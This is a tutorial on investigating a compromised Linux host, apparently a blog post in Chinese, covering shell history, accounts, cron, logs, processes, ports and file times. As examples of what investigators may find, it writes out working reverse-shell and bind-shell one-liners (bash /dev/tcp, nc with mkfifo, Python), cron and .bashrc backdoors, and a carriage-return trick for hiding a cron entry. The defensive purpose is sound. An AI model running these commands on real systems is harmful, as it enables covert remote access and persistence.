Linux Incident Response

Linux 事件調查 (Linux Incident Investigation / Incident Response) 是指在被入侵的Linux系統上找到被駭客攻擊的活動,常見的分析方向如下

  • 檢查歷史命令
  • 檢查帳號
  • 檢查排程
  • 檢查敏感目錄
  • 檢查登入記錄
  • 檢查開機啟動檔
  • 檢查日志
  • 檢查行程
  • 检查Port
  • 檢查檔案時間
  • 其他輔助工具檢查

檢查歷史命令

下載惡意腳本

如下,可以看到root用戶執行wget等指令,初步判定攻擊者登入該root帳號

208 pwd
209 wget --help
210 wget https://www.12345678.com/soft/serv.sh -o serv.sh
211 ls
212 ls
213 bash serv.sh
213 crontab -e 
214 echo * 1 * * * wget https://www.12345678.com/soft/serv.sh -o serv.sh >> /etc/crontab
215 crontab -l  

反向連接

舉例如下,黑客使用bash做反向連接

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f

以下是用PYTHON做反向連接

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

將shell升級成好用的模式

python -c 'import pty; pty.spawn("/bin/bash")'

檢查帳號

1. 查詢特權用戶(uid 為0),查看是否新增異常帳號。
awk -F: '$3==0{print $1}' /etc/passwd

2. 查詢可以遠端登入的帳號訊息,駭客用來遠端登入的帳號。
awk '/\$1|\$6/{print $1}' /etc/shadow

3. 除root帳號外,檢查其他帳號是否存在sudo權限。
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL) "

如非管理需要,普通帳號應刪除sudo權限


檢查排程

Crontab -L

舉例如下,檢查相關指令發現該目標被入侵,可以看到每天1點會被安裝腳本,並執行 serv.sh

# crontab -l
* * * * * pi serv || nohup /tmp/axe/serv > /dev/null 2>&1 &
* 1 * * * wget https://www.12345678.com/soft/serv.sh -o serv.sh >> /etc/crontab
* 1 * * * sudo bash serv.sh 9999

攻擊者有時會在排程加後門指令,如下

echo "* * * * * bash -i >& /dev/tcp/192.168.1.10/5555 0>&1" |crontab -

比較進階的還會做一些變化,增加後門的隱密性,如下

(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.44.128/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab -

這在一些舊版linux下,root執行crontab -l 能模擬沒有任何排程的訊息,顯示no crontab for root

不過在很多新的Linux下,crontab -l 會自動過濾或正規化換行與不可見字元,或者它本身是把整行當文字讀取,然後標準輸出,crontab -l 直接把整行秀出來,不像 echo 或 printf 那樣解析 \r。而且新的crontab -l 輸出也不一定走透過 TTY,可以是直寫到 stdout(非交互式模式),所以那個 \r(Carriage Return)就沒辦法影響行首的輸出結果了。就會把這完整的惡意排程展示出來

如果不確定輸出結果是否有問題,可用此語法cat -A /var/spool/cron/root 檢查root的排程,這是 root 使用者的 crontab 文件所在位置,存儲著 root 使用者所有排程任務

檢查排程相關檔案

需要檢查的排程相關檔案如下

/var/spool/cron/* 存放每個用戶的crontab任務,*是用戶名稱
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*


檢查敏感目錄

按時間找敏感目錄是否有新增指令

ls -alt /tmp | head -n 10

ls -alt /usr/bin | head -n 10

ls -alt /usr/sbin | head -n 10

檢查敏感目錄是否有隐藏文件:

ls -arlh /tmp 

注意隐藏文件夹,以..为名的文件夹具有隐藏属性


檢查登入記錄

在檢查的時候,如果駭客沒有上線,可以使用last指令檢查駭客什麼時間登入。不過如果駭客登入時將/var/log/wtmp檔案刪除或清空,這樣我們就無法使用last指令獲得有用的資訊了。

常用指令如下

last 查看最近登入成功的使用者及訊息

lastb -i 查看最近登入失敗的使用者及資訊:

lastlog顯示所有使用者最近一次登入資訊

顯示logged in表示使用者仍在登入
pts表示從SSH遠端登入
tty表示從控制台登錄,就是在伺服器旁登錄
ssh表示從SSH遠端登入


檢查開機啟動檔

攻擊者有時會在開機檔案中加入後門指令,如下
echo "bash -i >& /dev/tcp/192.168.1.10/5555 0>&1" >> ~/.bashrc

常見的檢查如下

cat /etc/rc.local
ls -l /etc/init.d 
ls -l /etc/rc.d/rc0.d/
ls -l /etc/rc.d/rc1.d/
ls -l /etc/rc.d/rc2.d/
ls -l /etc/rc.d/rc3.d/
ls -l /etc/rc.d/rc4.d/
ls -l /etc/rc.d/rc5.d/
ls -l /etc/rc.d/rc6.d/


檢查日志

/var/log/secure日志記錄了驗證和授權方面的信息,只要涉及帳號和密碼的程式都會記錄,例如SSH登錄,su切換用戶,sudo授權,甚至添加用戶和修改用戶密碼都會記錄在這個日誌檔案中,常見的日志分析方向如下

檢查密碼爆破

查看有多少IP在爆破主機的root帳號

grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

查看有哪些IP在爆破

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

檢查爆破用戶名字典

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

檢查成功登入

檢查登入成功的IP有哪些

grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

檢查登入成功的時間用戶IP

grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

檢查異常新增與刪除帳戶

舉例如下,檢查時發現增加了一個kali用戶,但又被刪除,需檢查是否為管理者操作,如果不是就是駭客行為

#grep "useradd" /var/log/secureJul 
10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
# grep "userdel" /var/log/secure
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'

檢查權限變換

檢查使用su切換用戶的記錄

Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

檢查使用sudo執行的記錄

Jul 10 00:43:09 localhost sudo:    good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now


檢查行程

ps aux

檢查process開始的時間和名稱,舉例如下

#ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      6666  0.0  0.0 168688  9688 ?        Ss   May28   0:02 /home/ubuntu/serv

表示/home/ubuntu/serv是在5/28啟動,Time的0:02不是運行多長時間而是CPU共花費多少時間來執行指令 。如果管理員不知道該process,可能是駭客行為

也可以透過這個方式查看process啟動時間點ps -p 6666 -o lstart

異常PID可檢查原始可執行文件

#ls -l /proc/6666/exe
lrwxrwxrwx. 1 root root 0 May 31 16:00 /proc/6666/exe -> /path/to/executable

異常PID可檢查PID文件類型

#file /proc/6666/exe
/proc/6666/exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, for GNU/Linux 3.2.0, BuildID[sha1]=… 

pstree

檢查是否有異常的名稱與PID,舉例如下,發現sshd – bash – malicious_script.sh 惡意腳本

#pstree -p
systemd(1)─┬─apache2(789)─┬─apache2(790)
           │              └─apache2(791)
           ├─cron(123)
           ├─dbus-daemon(456)
           ├─sshd(800)─┬─sshd(801)─┬─bash(802)───my_malware(803)
           │           │           └─sshd(804)─┬─bash(805)───top(806)
           │           │                       └─bash(807)───malicious_script.sh(808)
           │           └─sshd(809)─┬─bash(810)───(sleep)(811)
           │                       └─bash(812)
           ├─php-fpm(900)─┬─php-fpm(901)
           │              └─php-fpm(902)
           └─2*[getty(567)]

lsof

用lsof顯示PID所打開的所有文件和網絡連接,舉例如下

# lsof -p 1234
COMMAND     PID   USER   FD      TYPE DEVICE SIZE/OFF      NODE NAME
my_malware 1234   root  cwd       DIR    8,1     4096    131073 /
my_malware 1234   root  txt       REG    8,1   512000    789012 /tmp/evil_payload
my_malware 1234   root    3u     IPv4  23456      0t0       TCP 192.168.1.100:4444->10.0.0.5:80 (ESTABLISHED)
my_malware 1234   root    4u     REG    8,1   123456    987654 /var/log/my_server.log

用lsof顯示異常process所打開的所有文件和網絡連接,舉例如下

# lsof -c serv
COMMAND     PID   USER   FD   TYPE DEVICE SIZE/OFF      NODE NAME
serv       1234   root  cwd       DIR    8,1     4096    131073 /
serv       1234   root  txt       REG    8,1   512000    789012 /tmp/backdoor (deleted)
serv       1234   root  mem       REG    8,1   116544    131652 /usr/lib/x86_64-linux-gnu/libc.so.6
serv       1234   root    0u      CHR    1,3      0t0       9 /dev/null
serv       1234   root    1u      CHR    1,3      0t0       9 /dev/null
serv       1234   root    2u      CHR    1,3      0t0       9 /dev/null
serv       1234   root    3u     IPv4  23456      0t0       TCP *:12345 (LISTEN)
serv       1234   root    4u     IPv4  67890      0t0       TCP 192.168.1.100:54321->203.0.113.10:80 (ESTABLISHED)
serv       1234   root    5w     REG    8,1     12345    987654 /var/log/serv.log

检查Port

netstat -antlp | more 如果發現有可疑port,檢查相對的pid

用lsof顯示異常port所打開的所有文件和網絡連接,舉例如下

# lsof -i :22
COMMAND     PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sshd       1001   root    3u  IPv4  12345      0t0  TCP *:ssh (LISTEN)
sshd       1001   root    4u  IPv6  12346      0t0  TCP *:ssh (LISTEN)
sshd       1005   root    3u  IPv4  12347      0t0  TCP 192.168.1.100:ssh->192.168.1.1:54321 (ESTABLISHED)
sshd       1005   root    4u  IPv6  12348      0t0  TCP [::1]:ssh->[::1]:54322 (ESTABLISHED)


檢查檔案時間

根據異常的時間,尋找最近幾天被動過的檔案

find常用參數
-atime 檔案訪問時間
-mtime 檔案內容修改時間
-ctime 檔案狀態修改時間(文件權限,所有者/群,文件大小等,當文件內容發生改變ctime也會變)
ps:
要注意:系統進程/腳本存取文件,atime/mtime/ctime也會跟著修改,不一定是人為的修改才會被記錄
ps:
注意要去掉/sys/fs、 /run/udev、/sys/kernel 之類開頭的檔案

查找前2天,那一天被修改的檔案,find / -mtime 2 -ls | more

尋找一天內被修改的檔案 :find / -mtime -1 -ls  | more

尋找50天前被修改的檔案 :find ./ -mtime +50 -ls


其他輔助工具檢查

unhide

一套開源工具的集合,專門用於檢測和揭示隱藏的進程、文件、端口和網絡連接

Rootkit Hunter

簡稱 rkhunter,是一個開源的 Unix-based 工具,專門設計用於掃描系統以檢測是否存在 Rootkit、後門 (backdoors) 和其他惡意軟體或潛在的安全漏洞

Lynis

是一個非常全面的 Linux 安全審計工具。它執行數百項測試來檢查系統是否存在配置錯誤、過時的軟件、安全漏洞、不安全的權限等等。


參考文章
https://www.freebuf.com/vuls/280991.html
https://www.365seal.com/y/75pADNX4Vo.html    Linux应急响应入门——入侵排查
https://www.jianshu.com/p/afc845cf9cc9   Linux应急响应入门——入侵排查